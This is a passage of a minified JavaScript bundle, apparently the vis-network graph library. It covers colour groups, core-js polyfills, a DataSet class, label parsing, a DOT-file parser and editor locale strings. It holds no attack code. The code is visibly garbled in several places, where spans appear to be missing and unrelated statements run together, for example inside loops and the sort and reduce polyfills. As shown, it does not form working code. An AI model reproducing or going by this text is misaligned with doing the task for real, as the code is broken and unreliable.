order:"#7C29F0",background:"#D3BDF0"}},{border:"#C37F00",background:"#FFA807",highlight:{border:"#C37F00",background:"#FFCA66"},hover:{border:"#C37F00",background:"#FFCA66"}},{border:"#4220FB",background:"#6E6EFD",highlight:{border:"#4220FB",background:"#9B9BFD"},hover:{border:"#4220FB",background:"#9B9BFD"}},{border:"#FD5A77",background:"#FFC0CB",highlight:{border:"#FD5A77",background:"#FFD1D9"},hover:{border:"#FD5A77",background:"#FFD1D9"}},{border:"#4AD63A",background:"#C2FABC",highlight:{border:"#4AD63A",background:"#E6FFE3"},hover:{border:"#4AD63A",background:"#E6FFE3"}},{border:"#990000",background:"#EE0000",highlight:{border:"#BB0000",background:"#FF3333"},hover:{border:"#BB0000",background:"#FF3333"}},{border:"#FF6000",background:"#FF6000",highlight:{border:"#FF6000",background:"#FF6000"},hover:{border:"#FF6000",background:"#FF6000"}},{border:"#97C2FC",background:"#2B7CE9",highlight:{border:"#D2E5FF",background:"#2B7CE9"},hover:{border:"#D2E5FF",background:"#2B7CE9"}},{border:"#399605",background:"#255C03",highlight:{border:"#399605",background:"#255C03"},hover:{border:"#399605",background:"#255C03"}},{border:"#B70054",background:"#FF007E",highlight:{border:"#B70054",background:"#FF007E"},hover:{border:"#B70054",background:"#FF007E"}},{border:"#AD85E4",background:"#7C29F0",highlight:{border:"#D3BDF0",background:"#7C29F0"},hover:{border:"#D3BDF0",background:"#7C29F0"}},{border:"#4557FA",background:"#000EA1",highlight:{border:"#6E6EFD",background:"#000EA1"},hover:{border:"#6E6EFD",background:"#000EA1"}},{border:"#FFC0CB",background:"#FD5A77",highlight:{border:"#FFD1D9",background:"#FD5A77"},hover:{border:"#FFD1D9",background:"#FD5A77"}},{border:"#C2FABC",background:"#74D66A",highlight:{border:"#E6FFE3",background:"#74D66A"},hover:{border:"#E6FFE3",background:"#74D66A"}},{border:"#EE0000",background:"#990000",highlight:{border:"#FF3333",background:"#BB0000"},hover:{border:"#FF3333",background:"#BB0000"}}],this.options={},this.defaultOptions={useDefaultGroups:!0},ht(this.options,this.defaultOptions)}setOptions(e){const t=["useDefaultGroups"];if(e!==void 0){for(const i in e)if(Object.prototype.hasOwnProperty.call(e,i)&&Ge(t).call(t,i)===-1){const C=e[i];this.add(i,C)}}}clear(){this._groups=new YI,this._groupNames=[]}get(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0,i=this._groups.get(e);if(i===void 0&&t)if(this.options.useDefaultGroups===!1&&this._groupNames.length>0){const C=this._groupIndex%this._groupNames.length;++this._groupIndex,i={},i.color=this._groups.get(this._groupNames[C]),this._groups.set(e,i)}else{const C=this._defaultIndex%this._defaultGroups.length;this._defaultIndex++,i={},i.color=this._defaultGroups[C],this._groups.set(e,i)}return i}add(e,t){return this._groups.has(e)||this._groupNames.push(e),this._groups.set(e,t),t}}var R9=ue;R9({target:"Number",stat:!0},{isNaN:function(e){return e!==e}});var M9=Le,_9=M9.Number.isNaN,k9=_9,Z9=k9,B9=Z9,gu=re(B9),P9=ot,j9=P9.isFinite,L9=Number.isFinite||function(e){return typeof e=="number"&&j9(e)},G9=ue,F9=L9;G9({target:"Number",stat:!0},{isFinite:F9});var V9=Le,Y9=V9.Number.isFinite,U9=Y9,H9=U9,K9=H9,eA=re(K9),Q9=ue,X9=Wi.some,W9=VA,q9=W9("some");Q9({target:"Array",proto:!0,forced:!q9},{some:function(e){return X9(this,e,arguments.length>1?arguments[1]:void 0)}});var J9=wt,$9=J9("Array").some,eF=st,tF=$9,iu=Array.prototype,gF=function(n){var e=n.some;return n===iu||eF(iu,n)&&e===iu.some?tF:e},iF=gF,nF=iF,AF=nF,$b=re(AF),CF=Le,IF=CF.Object.getOwnPropertySymbols,oF=IF,sF=oF,rF=sF,si=re(rF),e0={exports:{}},aF=ue,lF=Ze,cF=Yg,t0=$C.f,g0=zt,uF=!g0||lF(function(){t0(1)});aF({target:"Object",stat:!0,forced:uF,sham:!g0},{getOwnPropertyDescriptor:function(e,t){return t0(cF(e),t)}});var dF=Le,i0=dF.Object,hF=e0.exports=function(e,t){return i0.getOwnPropertyDescriptor(e,t)};i0.getOwnPropertyDescriptor.sham&&(hF.sham=!0);var fF=e0.exports,pF=fF,mF=pF,vF=mF,ri=re(vF),yF=ue,bF=zt,wF=qv,EF=Yg,TF=$C,SF=cI;yF({target:"Object",stat:!0,sham:!bF},{getOwnPropertyDescriptors:function(e){for(var t=EF(e),i=TF.f,C=wF(t),o={},s=0,a,l;C.length>s;)l=i(t,a=C[s++]),l!==void 0&&SF(o,a,l);return o}});var OF=Le,xF=OF.Object.getOwnPropertyDescriptors,NF=xF,DF=NF,zF=DF,ai=re(zF),n0={exports:{}},RF=ue,MF=zt,A0=fs.f;RF({target:"Object",stat:!0,forced:Object.defineProperties!==A0,sham:!MF},{defineProperties:A0});var _F=Le,C0=_F.Object,kF=n0.exports=function(e,t){return C0.defineProperties(e,t)};C0.defineProperties.sham&&(kF.sham=!0);var ZF=n0.exports,BF=ZF,PF=BF,jF=PF,UI=re(jF),I0={exports:{}},LF=ue,GF=zt,o0=cg.f;LF({target:"Object",stat:!0,forced:Object.defineProperty!==o0,sham:!GF},{defineProperty:o0});var FF=Le,s0=FF.Object,VF=I0.exports=function(e,t,i){return s0.defineProperty(e,t,i)};s0.defineProperty.sham&&(VF.sham=!0);var YF=I0.exports,UF=YF,r0=UF,HF=r0,KF=HF,QF=KF,XF=QF,WF=XF,qF=re(WF),JF=dt,$F=cg.f,a0=JF("metadata"),l0=Function.prototype;l0[a0]===void 0&&$F(l0,a0,{value:null});var eV=rt;eV("asyncDispose");var tV=rt;tV("dispose");var gV=rt;gV("metadata");var iV=Qv,nV=iV,AV=Ug,CV=Be,nu=AV("Symbol"),IV=nu.keyFor,oV=CV(nu.prototype.valueOf),c0=nu.isRegisteredSymbol||function(e){try{return IV(oV(e))!==void 0}catch{return!1}},sV=ue,rV=c0;sV({target:"Symbol",stat:!0},{isRegisteredSymbol:rV});for(var aV=RA,u0=Ug,lV=Be,cV=AI,uV=dt,er=u0("Symbol"),d0=er.isWellKnownSymbol,h0=u0("Object","getOwnPropertyNames"),dV=lV(er.prototype.valueOf),f0=aV("wks"),Au=0,p0=h0(er),hV=p0.length;Au=0:a>l;l+=u)l in s&&(C=t(C,s[l],l,o));return C}},nY={left:iY(!1)},AY=ot,CY=mi,IY=CY(AY.process)==="process",oY=ue,sY=nY.left,rY=VA,b0=nI,aY=IY,lY=!aY&&b0>79&&b0<83,cY=lY||!rY("reduce");oY({target:"Array",proto:!0,forced:cY},{reduce:function(e){var t=arguments.length;return sY(this,e,t,t>1?arguments[1]:void 0)}});var uY=wt,dY=uY("Array").reduce,hY=st,fY=dY,Cu=Array.prototype,pY=function(n){var e=n.reduce;return n===Cu||hY(Cu,n)&&e===Cu.reduce?fY:e},mY=pY,vY=mY,yY=vY,Iu=re(yY),bY=Xi,wY=Sg,EY=Ml,TY=oI,w0=function(n,e,t,i,C,o,s,a){for(var l=C,u=0,h=s?TY(s,a):!1,p,m;u0&&bY(p)?(m=wY(p),l=w0(n,e,p,m,l,o-1)-1):(EY(l+1),n[l]=p),l++),u++;return l},SY=w0,OY=ue,xY=SY,NY=jn,DY=lg,zY=Sg,RY=hs;OY({target:"Array",proto:!0},{flatMap:function(e){var t=DY(this),i=zY(t),C;return NY(e),C=RY(t,0),C.length=xY(C,t,t,i,0,1,e,arguments.length>1?arguments[1]:void 0),C}});var MY=wt;MY("Array").flatMap;var _Y=y0,gC=re(_Y),kY=Jc,ZY=Qb;kY("Set",function(n){return function(){return n(this,arguments.length?arguments[0]:void 0)}},ZY);var BY=Le,PY=BY.Set,jY=PY,LY=jY,GY=LY,qg=re(GY),FY=Bb,VY=FY,YY=VY,UY=YY,HY=UY,KY=HY,QY=KY,XY=QY,WY=XY,qY=WY,ou=re(qY),E0=Pm,JY=Math.floor,su=function(n,e){var t=n.length,i=JY(t/2);return t<8?$Y(n,e):eU(n,su(E0(n,0,i),e),su(E0(n,i),e),e)},$Y=function(n,e){for(var t=n.length,i=1,C,o;i0;)n[o]=n[--o];o!==i++&&(n[o]=C)}return n},eU=function(n,e,t,i){for(var C=e.length,o=t.length,s=0,a=0;s3)){if(uU)return!0;if(R0)return R0<603;var n="",e,t,i,C;for(e=65;e<76;e++){switch(t=String.fromCharCode(e),e){case 66:case 69:case 70:case 72:i=3;break;case 68:case 71:i=4;break;default:i=2}for(C=0;C<47;C++)In.push({k:t+C,v:i})}for(In.sort(function(o,s){return s.v-o.v}),C=0;CN0(t)?1:-1}};oU({target:"Array",proto:!0,forced:mU},{sort:function(e){e!==void 0&&sU(e);var t=rU(this);if(_0)return e===void 0?M0(t):M0(t,e);var i=[],C=x0(t),o,s;for(s=0;s{i.flush()};const C=[{name:"flush",original:void 0}];if(t&&t.replace)for(let o=0;othis.max&&this.flush(),this._timeout!=null&&(clearTimeout(this._timeout),this._timeout=null),this.queue.length>0&&typeof this.delay=="number"&&(this._timeout=Ai(()=>{this.flush()},this.delay))}flush(){var e,t;De(e=ni(t=this._queue).call(t,0)).call(e,i=>{i.fn.apply(i.context||i.fn,i.args||[])})}}class nr{constructor(){St(this,"_subscribers",{"*":[],add:[],remove:[],update:[]}),St(this,"subscribe",nr.prototype.on),St(this,"unsubscribe",nr.prototype.off)}_trigger(e,t,i){var C;if(e==="*")throw new Error("Cannot trigger event *");De(C=[...this._subscribers[e],...this._subscribers["*"]]).call(C,o=>{o(e,t,i??null)})}on(e,t){typeof t=="function"&&this._subscribers[e].push(t)}off(e,t){var i;this._subscribers[e]=Et(i=this._subscribers[e]).call(i,C=>C!==t)}}class tA{constructor(e){St(this,"_pairs",void 0),this._pairs=e}*[gC](){for(const[e,t]of this._pairs)yield[e,t]}*entries(){for(const[e,t]of this._pairs)yield[e,t]}*keys(){for(const[e]of this._pairs)yield e}*values(){for(const[,e]of this._pairs)yield e}toIdArray(){var e;return jt(e=[...this._pairs]).call(e,t=>t[0])}toItemArray(){var e;return jt(e=[...this._pairs]).call(e,t=>t[1])}toEntryArray(){return[...this._pairs]}toObjectMap(){const e=$i(null);for(const[t,i]of this._pairs)e[t]=i;return e}toMap(){return new YI(this._pairs)}toIdSet(){return new qg(this.toIdArray())}toItemSet(){return new qg(this.toItemArray())}cache(){return new tA([...this._pairs])}distinct(e){const t=new qg;for(const[i,C]of this._pairs)t.add(e(C,i));return t}filter(e){const t=this._pairs;return new tA({*[gC](){for(const[i,C]of t)e(C,i)&&(yield[i,C])}})}forEach(e){for(const[t,i]of this._pairs)e(i,t)}map(e){const t=this._pairs;return new tA({*[gC](){for(const[i,C]of t)yield[i,e(C,i)]}})}max(e){const t=ou(this._pairs);let i=t.next();if(i.done)return null;let C=i.value[1],o=e(i.value[1],i.value[0]);for(;!(i=t.next()).done;){const[s,a]=i.value,l=e(a,s);l>o&&(o=l,C=a)}return C}min(e){const t=ou(this._pairs);let i=t.next();if(i.done)return null;let C=i.value[1],o=e(i.value[1],i.value[0]);for(;!(i=t.next()).done;){const[s,a]=i.value,l=e(a,s);l{var t;return ou(xi(t=[...this._pairs]).call(t,(i,C)=>{let[o,s]=i,[a,l]=C;return e(s,l,o,a)}))}})}}function cH(n,e){return n[e]==null&&(n[e]=nC()),n}class AC extends nr{get idProp(){return this._idProp}constructor(e,t){super(),St(this,"flush",void 0),St(this,"length",void 0),St(this,"_options",void 0),St(this,"_data",void 0),St(this,"_idProp",void 0),St(this,"_queue",null),e&&!Re(e)&&(t=e,e=[]),this._options=t||{},this._data=new YI,this.length=0,this._idProp=this._options.fieldId||"id",e&&e.length&&this.add(e),this.setOptions(t)}setOptions(e){e&&e.queue!==void 0&&(e.queue===!1?this._queue&&(this._queue.destroy(),this._queue=null):(this._queue||(this._queue=du.extend(this,{replace:["add","update","remove"]})),e.queue&&typeof e.queue=="object"&&this._queue.setOptions(e.queue)))}add(e,t){const i=[];let C;if(Re(e)){const o=jt(e).call(e,s=>s[this._idProp]);if($b(o).call(o,s=>this._data.has(s)))throw new Error("A duplicate id was found in the parameter array.");for(let s=0,a=e.length;s{const h=u[a];if(h!=null&&this._data.has(h)){const p=u,m=ht({},this._data.get(h)),v=this._updateItem(p);C.push(v),s.push(p),o.push(m)}else{const p=this._addItem(u);i.push(p)}};if(Re(e))for(let u=0,h=e.length;u{const s=this._data.get(o[this._idProp]);if(s==null)throw new Error("Updating non-existent items is not allowed.");return{oldData:s,update:o}})).call(i,o=>{let{oldData:s,update:a}=o;const l=s[this._idProp],u=J8(s,a);return this._data.set(l,u),{id:l,oldData:s,updatedData:u}});if(C.length){const o={items:jt(C).call(C,s=>s.id),oldData:jt(C).call(C,s=>s.oldData),data:jt(C).call(C,s=>s.updatedData)};return this._trigger("update",o,t),o.items}else return[]}get(e,t){let i,C,o;P0(e)?(i=e,o=t):Re(e)?(C=e,o=t):o=e;const s=o&&o.returnType==="Object"?"Object":"Array",a=o&&Et(o),l=[];let u,h,p;if(i!=null)u=this._data.get(i),u&&a&&!a(u)&&(u=void 0);else if(C!=null)for(let w=0,N=C.length;w(C[o]=e[o],C),{})}_sort(e,t){if(typeof t=="string"){const i=t;xi(e).call(e,(C,o)=>{const s=C[i],a=o[i];return s>a?1:si)&&(t=o,i=s)}return t||null}min(e){let t=null,i=null;for(const o of gr(C=this._data).call(C)){var C;const s=o[e];typeof s=="number"&&(i==null||se.x&&n.tope.y}function Cr(n){return typeof n=="string"&&n!==""}function U0(n,e,t,i){let C=i.x,o=i.y;if(typeof i.distanceToBorder=="function"){const s=i.distanceToBorder(n,e),a=Math.sin(e)*s,l=Math.cos(e)*s;l===s?(C+=s,o=i.y):a===s?(C=i.x,o-=s):(C+=l,o-=a)}else i.shape.width>i.shape.height?(C=i.x+i.shape.width*.5,o=i.y-t):(C=i.x+t,o=i.y-i.shape.height*.5);return{x:C,y:o}}class LH{constructor(e){this.measureText=e,this.current=0,this.width=0,this.height=0,this.lines=[]}_add(e,t){let i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:"normal";this.lines[e]===void 0&&(this.lines[e]={width:0,height:0,blocks:[]});let C=t;(t===void 0||t==="")&&(C=" ");const o=this.measureText(C,i),s=ht({},gr(o));s.text=t,s.width=o.width,s.mod=i,(t===void 0||t==="")&&(s.width=0),this.lines[e].blocks.push(s),this.lines[e].width+=s.width}curWidth(){const e=this.lines[this.current];return e===void 0?0:e.width}append(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"normal";this._add(this.current,e,t)}newLine(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"normal";this._add(this.current,e,t),this.current++}determineLineHeights(){for(let e=0;ee&&(e=C.width),t+=C.height}this.width=e,this.height=t}removeEmptyBlocks(){const e=[];for(let t=0;t"://,""://,""://,"":/<\/b>/,"":/<\/i>/,"":/<\/code>/,"*":/\*/,_:/_/,"`":/`/,afterBold:/[^*]/,afterItal:/[^_]/,afterMono:/[^`]/};class H0{constructor(e){this.text=e,this.bold=!1,this.ital=!1,this.mono=!1,this.spacing=!1,this.position=0,this.buffer="",this.modStack=[],this.blocks=[]}mod(){return this.modStack.length===0?"normal":this.modStack[0]}modName(){if(this.modStack.length===0)return"normal";if(this.modStack[0]==="mono")return"mono";if(this.bold&&this.ital)return"boldital";if(this.bold)return"bold";if(this.ital)return"ital"}emitBlock(){this.spacing&&(this.add(" "),this.spacing=!1),this.buffer.length>0&&(this.blocks.push({text:this.buffer,mod:this.modName()}),this.buffer="")}add(e){e===" "&&(this.spacing=!0),this.spacing&&(this.buffer+=" ",this.spacing=!1),e!=" "&&(this.buffer+=e)}parseWS(e){return/[ \t]/.test(e)?(this.mono?this.add(e):this.spacing=!0,!0):!1}setTag(e){this.emitBlock(),this[e]=!0,this.modStack.unshift(e)}unsetTag(e){this.emitBlock(),this[e]=!1,this.modStack.shift()}parseStartTag(e,t){return!this.mono&&!this[e]&&this.match(t)?(this.setTag(e),!0):!1}match(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0;const[i,C]=this.prepareRegExp(e),o=i.test(this.text.substr(this.position,C));return o&&t&&(this.position+=C-1),o}parseEndTag(e,t,i){let C=this.mod()===e;return e==="mono"?C=C&&this.mono:C=C&&!this.mono,C&&this.match(t)?(i!==void 0?(this.position===this.text.length-1||this.match(i,!1))&&this.unsetTag(e):this.unsetTag(e),!0):!1}replace(e,t){return this.match(e)?(this.add(t),this.position+=length-1,!0):!1}prepareRegExp(e){let t,i;if(e instanceof RegExp)i=e,t=1;else{const C=GH[e];C!==void 0?i=C:i=new RegExp(e),t=e.length}return[i,t]}}class FH{constructor(e,t,i,C){this.ctx=e,this.parent=t,this.selected=i,this.hover=C;const o=(s,a)=>{if(s===void 0)return 0;const l=this.parent.getFormattingValues(e,i,C,a);let u=0;return s!==""&&(u=this.ctx.measureText(s).width),{width:u,values:l}};this.lines=new LH(o)}process(e){if(!Cr(e))return this.lines.finalize();const t=this.parent.fontOptions;e=e.replace(/\r\n/g,` +`}static print(e){return YA(e).replace(/(")|(\[)|(\])|(,"__type__")/g,"").replace(/(,)/g,", ")}static levenshteinDistance(e,t){if(e.length===0)return t.length;if(t.length===0)return e.length;const i=[];let C;for(C=0;C<=t.length;C++)i[C]=[C];let o;for(o=0;o<=e.length;o++)i[0][o]=o;for(C=1;C<=t.length;C++)for(o=1;o<=e.length;o++)t.charAt(C-1)==e.charAt(o-1)?i[C][o]=i[C-1][o-1]:i[C][o]=Math.min(i[C-1][o-1]+1,Math.min(i[C][o-1]+1,i[C-1][o]+1));return i[t.length][e.length]}};const E6=oi,T6=y6,$A=jc,S6=b6,yb=Yc,O6=w6;function x6(n){return An=n,R6()}var bb={fontsize:"font.size",fontcolor:"font.color",labelfontcolor:"font.color",fontname:"font.face",color:["color.border","color.background"],fillcolor:"color.background",tooltip:"title",labeltooltip:"title"},Uc=$i(bb);Uc.color="color.color",Uc.style="dashes";var Wt={NULL:0,DELIMITER:1,IDENTIFIER:2,UNKNOWN:3},wb={"{":!0,"}":!0,"[":!0,"]":!0,";":!0,"=":!0,",":!0,"->":!0,"--":!0},An="",eC=0,we="",le="",ng=Wt.NULL;function N6(){eC=0,we=An.charAt(0)}function kt(){eC++,we=An.charAt(eC)}function tC(){return An.charAt(eC+1)}function Eb(n){var e=n.charCodeAt(0);return e<47?e===35||e===46:e<59?e>47:e<91?e>64:e<96?e===95:e<123?e>96:!1}function Cn(n,e){if(n||(n={}),e)for(var t in e)e.hasOwnProperty(t)&&(n[t]=e[t]);return n}function D6(n,e,t){for(var i=e.split("."),C=n;i.length;){var o=i.shift();i.length?(C[o]||(C[o]={}),C=C[o]):C[o]=t}}function Tb(n,e){for(var t,i,C=null,o=[n],s=n;s.parent;)o.push(s.parent),s=s.parent;if(s.nodes){for(t=0,i=s.nodes.length;t=0;t--){var a,l=o[t];l.nodes||(l.nodes=[]),Le(a=l.nodes).call(a,C)===-1&&l.nodes.push(C)}e.attr&&(C.attr=Cn(C.attr,e.attr))}function z6(n,e){if(n.edges||(n.edges=[]),n.edges.push(e),n.edge){var t=Cn({},n.edge);e.attr=Cn(t,e.attr)}}function Sb(n,e,t,i,C){var o={from:e,to:t,type:i};return n.edge&&(o.attr=Cn({},n.edge)),o.attr=Cn(o.attr||{},C),C!=null&&C.hasOwnProperty("arrows")&&C.arrows!=null&&(o.arrows={to:{enabled:!0,type:C.arrows.type}},C.arrows=null),o}function We(){for(ng=Wt.NULL,le="";we===" "||we===" "||we===` +`||we==="\r";)kt();do{var n=!1;if(we==="#"){for(var e=eC-1;An.charAt(e)===" "||An.charAt(e)===" ";)e--;if(An.charAt(e)===` +`||An.charAt(e)===""){for(;we!=""&&we!=` +`;)kt();n=!0}}if(we==="/"&&tC()==="/"){for(;we!=""&&we!=` +`;)kt();n=!0}if(we==="/"&&tC()==="*"){for(;we!="";)if(we==="*"&&tC()==="/"){kt(),kt();break}else kt();n=!0}for(;we===" "||we===" "||we===` +`||we==="\r";)kt()}while(n);if(we===""){ng=Wt.DELIMITER;return}var t=we+tC();if(wb[t]){ng=Wt.DELIMITER,le=t,kt(),kt();return}if(wb[we]){ng=Wt.DELIMITER,le=we,kt();return}if(Eb(we)||we==="-"){for(le+=we,kt();Eb(we);)le+=we,kt();le==="false"?le=!1:le==="true"?le=!0:isNaN(Number(le))||(le=Number(le)),ng=Wt.IDENTIFIER;return}if(we==='"'){for(kt();we!=""&&(we!='"'||we==='"'&&tC()==='"');)we==='"'?(le+=we,kt()):we==="\\"&&tC()==="n"?(le+=` +`,kt()):le+=we,kt();if(we!='"')throw qt('End of string " expected');kt(),ng=Wt.IDENTIFIER;return}for(ng=Wt.UNKNOWN;we!="";)le+=we,kt();throw new SyntaxError('Syntax error in part "'+Db(le,30)+'"')}function R6(){var n={};if(N6(),We(),le==="strict"&&(n.strict=!0,We()),(le==="graph"||le==="digraph")&&(n.type=le,We()),ng===Wt.IDENTIFIER&&(n.id=le,We()),le!="{")throw qt("Angle bracket { expected");if(We(),Ob(n),le!="}")throw qt("Angle bracket } expected");if(We(),le!=="")throw qt("End of file expected");return We(),delete n.node,delete n.edge,delete n.graph,n}function Ob(n){for(;le!==""&&le!="}";)M6(n),le===";"&&We()}function M6(n){var e=xb(n);if(e){Nb(n,e);return}var t=_6(n);if(!t){if(ng!=Wt.IDENTIFIER)throw qt("Identifier expected");var i=le;if(We(),le==="="){if(We(),ng!=Wt.IDENTIFIER)throw qt("Identifier expected");n[i]=le,We()}else k6(n,i)}}function xb(n){var e=null;if(le==="subgraph"&&(e={},e.type="subgraph",We(),ng===Wt.IDENTIFIER&&(e.id=le,We())),le==="{"){if(We(),e||(e={}),e.parent=n,e.node=n.node,e.edge=n.edge,e.graph=n.graph,Ob(e),le!="}")throw qt("Angle bracket } expected");We(),delete e.node,delete e.edge,delete e.graph,delete e.parent,n.subgraphs||(n.subgraphs=[]),n.subgraphs.push(e)}return e}function _6(n){return le==="node"?(We(),n.node=FI(),"node"):le==="edge"?(We(),n.edge=FI(),"edge"):le==="graph"?(We(),n.graph=FI(),"graph"):null}function k6(n,e){var t={id:e},i=FI();i&&(t.attr=i),Tb(n,t),Nb(n,e)}function Nb(n,e){for(;le==="->"||le==="--";){var t,i=le;We();var C=xb(n);if(C)t=C;else{if(ng!=Wt.IDENTIFIER)throw qt("Identifier or subgraph expected");t=le,Tb(n,{id:t}),We()}var o=FI(),s=Sb(n,e,t,i,o);z6(n,s),e=t}}function FI(){for(var n,e=null,t={dashed:!0,solid:!1,dotted:[1,5]},i={dot:"circle",box:"box",crow:"crow",curve:"curve",icurve:"inv_curve",normal:"triangle",inv:"inv_triangle",diamond:"diamond",tee:"bar",vee:"vee"},C=new Array,o=new Array;le==="[";){for(We(),e={};le!==""&&le!="]";){if(ng!=Wt.IDENTIFIER)throw qt("Attribute name expected");var s=le;if(We(),le!="=")throw qt("Equal sign = expected");if(We(),ng!=Wt.IDENTIFIER)throw qt("Attribute value expected");var a=le;s==="style"&&(a=t[a]);var l;s==="arrowhead"&&(l=i[a],s="arrows",a={to:{enabled:!0,type:l}}),s==="arrowtail"&&(l=i[a],s="arrows",a={from:{enabled:!0,type:l}}),C.push({attr:e,name:s,value:a}),o.push(s),We(),le==","&&We()}if(le!="]")throw qt("Bracket ] expected");We()}if(Ji(o).call(o,"dir")){var u={};for(u.arrows={},n=0;n"&&(a.arrows="to"),a};De(C=e.edges).call(C,function(s){var a,l;if(s.from instanceof Object?a=s.from.nodes:a={id:s.from},s.to instanceof Object?l=s.to.nodes:l={id:s.to},s.from instanceof Object&&s.from.edges){var u;De(u=s.from.edges).call(u,function(p){var m=o(p);t.edges.push(m)})}if(Z6(a,l,function(p,m){var v=Sb(t,p.id,m.id,s.type,s.attr),w=o(v);t.edges.push(w)}),s.to instanceof Object&&s.to.edges){var h;De(h=s.to.edges).call(h,function(p){var m=o(p);t.edges.push(m)})}})}return e.attr&&(t.options=e.attr),t}function P6(n,e){var t;const i={edges:{inheritColor:!1},nodes:{fixed:!1,parseColor:!1}};e!=null&&(e.fixed!=null&&(i.nodes.fixed=e.fixed),e.parseColor!=null&&(i.nodes.parseColor=e.parseColor),e.inheritColor!=null&&(i.edges.inheritColor=e.inheritColor));const C=n.edges,o=jt(C).call(C,a=>{const l={from:a.source,id:a.id,to:a.target};return a.attributes!=null&&(l.attributes=a.attributes),a.label!=null&&(l.label=a.label),a.attributes!=null&&a.attributes.title!=null&&(l.title=a.attributes.title),a.type==="Directed"&&(l.arrows="to"),a.color&&i.edges.inheritColor===!1&&(l.color=a.color),l});return{nodes:jt(t=n.nodes).call(t,a=>{const l={id:a.id,fixed:i.nodes.fixed&&a.x!=null&&a.y!=null};return a.attributes!=null&&(l.attributes=a.attributes),a.label!=null&&(l.label=a.label),a.size!=null&&(l.size=a.size),a.attributes!=null&&a.attributes.title!=null&&(l.title=a.attributes.title),a.title!=null&&(l.title=a.title),a.x!=null&&(l.x=a.x),a.y!=null&&(l.y=a.y),a.color!=null&&(i.nodes.parseColor===!0?l.color=a.color:l.color={background:a.color,border:a.color,highlight:{background:a.color,border:a.color},hover:{background:a.color,border:a.color}}),l}),edges:o}}var j6=Object.freeze({__proto__:null,cn:{addDescription:"单击空白处放置新节点。",addEdge:"添加连接线",addNode:"添加节点",back:"返回",close:"關閉",createEdgeError:"无法将连接线连接到群集。",del:"删除选定",deleteClusterError:"无法删除群集。",edgeDescription:"单击某个节点并将该连接线拖动到另一个节点以连接它们。",edit:"编辑",editClusterError:"无法编辑群集。",editEdge:"编辑连接线",editEdgeDescription:"单击控制节点并将它们拖到节点上连接。",editNode:"编辑节点"},cs:{addDescription:"Kluknutím do prázdného prostoru můžete přidat nový vrchol.",addEdge:"Přidat hranu",addNode:"Přidat vrchol",back:"Zpět",close:"Zavřít",createEdgeError:"Nelze připojit hranu ke shluku.",del:"Smazat výběr",deleteClusterError:"Nelze mazat shluky.",edgeDescription:"Přetažením z jednoho vrcholu do druhého můžete spojit tyto vrcholy novou hranou.",edit:"Upravit",editClusterError:"Nelze upravovat shluky.",editEdge:"Upravit hranu",editEdgeDescription:"Přetažením kontrolního vrcholu hrany ji můžete připojit k jinému vrcholu.",editNode:"Upravit vrchol"},de:{addDescription:"Klicke auf eine freie Stelle, um einen neuen Knoten zu plazieren.",addEdge:"Kante hinzufügen",addNode:"Knoten hinzufügen",back:"Zurück",close:"Schließen",createEdgeError:"Es ist nicht möglich, Kanten mit Clustern zu verbinden.",del:"Lösche Auswahl",deleteClusterError:"Cluster können nicht gelöscht werden.",edgeDescription:"Klicke auf einen Knoten und ziehe die Kante zu einem anderen Knoten, um diese zu verbinden.",edit:"Editieren",editClusterError:"Cluster können nicht editiert werden.",editEdge:"Kante editieren",editEdgeDescription:"Klicke auf die Verbindungspunkte und ziehe diese auf einen Knoten, um sie zu verbinden.",editNode:"Knoten editieren"},en:{addDescription:"Click in an empty space to place a new node.",addEdge:"Add Edge",addNode:"Add Node",back:"Back",close:"Close",createEdgeError:"Cannot link edges to a cluster.",del:"Delete selected",deleteClusterError:"Clusters cannot be deleted.",edgeDescription:"Click on a node and drag the edge to another node to connect them.",edit:"Edit",editClusterError:"Clusters cannot be edited.",editEdge:"Edit Edge",editEdgeDescription:"Click on the control points and drag them to a node to connect to it.",editNode:"Edit Node"},es:{addDescription:"Haga clic en un lugar vacío para colocar un nuevo nodo.",addEdge:"Añadir arista",addNode:"Añadir nodo",back:"Atrás",close:"Cerrar",createEdgeError:"No se puede conectar una arista a un grupo.",del:"Eliminar selección",deleteClusterError:"No es posible eliminar grupos.",edgeDescription:"Haga clic en un nodo y arrastre la arista hacia otro nodo para conectarlos.",edit:"Editar",editClusterError:"No es posible editar grupos.",editEdge:"Editar arista",editEdgeDescription:"Haga clic en un punto de control y arrastrelo a un nodo para conectarlo.",editNode:"Editar nodo"},fr:{addDescription:"Cliquez dans un endroit vide pour placer un nœud.",addEdge:"Ajouter un lien",addNode:"Ajouter un nœud",back:"Retour",close:"Fermer",createEdgeError:"Impossible de créer un lien vers un cluster.",del:"Effacer la sélection",deleteClusterError:"Les clusters ne peuvent pas être effacés.",edgeDescription:"Cliquez sur un nœud et glissez le lien vers un autre nœud pour les connecter.",edit:"Éditer",editClusterError:"Les clusters ne peuvent pas être édités.",editEdge:"Éditer le lien",editEdgeDescription:"Cliquez sur les points de contrôle et glissez-les pour connecter un nœud.",editNode:"Éditer le nœud"},it:{addDescription:"Clicca per aggiungere un nuovo nodo",addEdge:"Aggiungi un vertice",addNode:"Aggiungi un nodo",back:"Indietro",close:"Chiudere",createEdgeError:"Non si possono collegare vertici ad un cluster",del:"Cancella la selezione",deleteClusterError:"I cluster non possono essere cancellati",edgeDescription:"Clicca su un nodo e trascinalo ad un altro nodo per connetterli.",edit:"Modifica",editClusterError:"I clusters non possono essere modificati.",editEdge:"Modifica il vertice",editEdgeDescription:"Clicca sui Punti di controllo e trascinali ad un nodo per connetterli.",editNode:"Modifica il nodo"},nl:{addDescription:"Klik op een leeg gebied om een nieuwe node te maken.",addEdge:"Link toevoegen",addNode:"Node toevoegen",back:"Terug",close:"Sluiten",createEdgeError:"Kan geen link maken naar een cluster.",del:"Selectie verwijderen",deleteClusterError:"Clusters kunnen niet worden verwijderd.",edgeDescription:"Klik op een node en sleep de link naar een andere node om ze te verbinden.",edit:"Wijzigen",editClusterError:"Clusters kunnen niet worden aangepast.",editEdge:"Link wijzigen",editEdgeDescription:"Klik op de verbindingspunten en sleep ze naar een node om daarmee te verbinden.",editNode:"Node wijzigen"},pt:{addDescription:"Clique em um espaço em branco para adicionar um novo nó",addEdge:"Adicionar aresta",addNode:"Adicionar nó",back:"Voltar",close:"Fechar",createEdgeError:"Não foi possível linkar arestas a um cluster.",del:"Remover 